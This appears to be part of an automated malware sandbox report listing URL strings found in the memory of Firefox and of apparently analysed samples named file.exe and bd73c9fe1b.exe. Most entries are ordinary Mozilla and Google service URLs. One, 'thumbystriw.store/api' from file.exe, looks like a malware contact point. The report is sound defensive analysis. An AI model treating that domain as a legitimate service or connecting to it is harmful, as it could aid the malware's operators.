Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2758855942.00000295E1CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sFailed
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001A.00000002.2758855942.00000295E1CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s_setUpMenulistPopup/
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2E9C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2E97000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/Web
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E4503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.comP
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E6610000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jscolor-mix(in
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784569965.00000295E6609000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: file.exe, 00000000.00000003.1716497925.0000000005270000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460025657.00000000055C2000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604318453.0000000005A9E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2E97000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2796456742.00000295E6EE6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: bd73c9fe1b.exe, 0000000B.00000003.2638220247.0000000005B65000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: bd73c9fe1b.exe, 0000000B.00000003.2638220247.0000000005B65000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.orgmedia.autoplay.blocking_policymigrateXULAttributeToStylehttps://screensho
Source: file.exe, 00000000.00000003.1716497925.000000000526E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1716565971.0000000005267000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460025657.00000000055C0000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604448142.0000000005A95000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604318453.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1716565971.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604448142.0000000005A70000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1716497925.000000000526E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1716565971.0000000005267000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460025657.00000000055C0000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604448142.0000000005A95000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604318453.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1716565971.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604448142.0000000005A70000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000003.2002303728.000000000082F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://thumbystriw.store:443/api
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000002F.00000003.2873867404.000001B2AC2CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2873278783.000001B2ABFDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2875366283.000001B2AC2EB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-west-first-party-cookies).
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2E97000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2EE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/moz-extension://31bc1824-4b8f-4b01-9a19-e1bd57d39
